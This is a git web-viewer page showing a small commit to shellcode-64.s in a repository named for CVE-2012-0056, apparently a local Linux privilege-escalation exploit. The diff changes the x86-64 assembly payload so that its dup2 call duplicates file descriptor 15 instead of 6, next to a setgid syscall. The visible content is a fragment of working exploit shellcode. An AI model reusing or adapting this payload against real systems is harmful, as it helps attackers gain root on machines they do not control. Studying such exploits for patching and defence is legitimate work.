aboutsummaryrefslogtreecommitdiffstats
path: root/shellcode-64.s
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-24 18:54:47 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-24 18:59:17 +0100
commite4b69563110bcf08b8f4f442096d5b3df2bb3ed9 (patch)
tree24cb12b126da6ffb3aafa12078cbde9aedccc845 /shellcode-64.s
parentSearch for IP of next jmp instead. (diff)
downloadCVE-2012-0056-e4b69563110bcf08b8f4f442096d5b3df2bb3ed9.tar.xz
CVE-2012-0056-e4b69563110bcf08b8f4f442096d5b3df2bb3ed9.zip
Move things into separate functions.
Diffstat (limited to 'shellcode-64.s')
-rw-r--r--shellcode-64.s4
1 files changed, 2 insertions, 2 deletions
diff --git a/shellcode-64.s b/shellcode-64.s
index 517b617..f091d70 100644
--- a/shellcode-64.s
+++ b/shellcode-64.s
@@ -13,9 +13,9 @@ syscall
xor rdi,rdi
mov al,0x6a
syscall
-;dup2(6, 2)
+;dup2(15, 2)
xor rsi,rsi
-mov dil,0x6
+mov dil,0xf
mov sil,0x2
mov al,0x21
syscall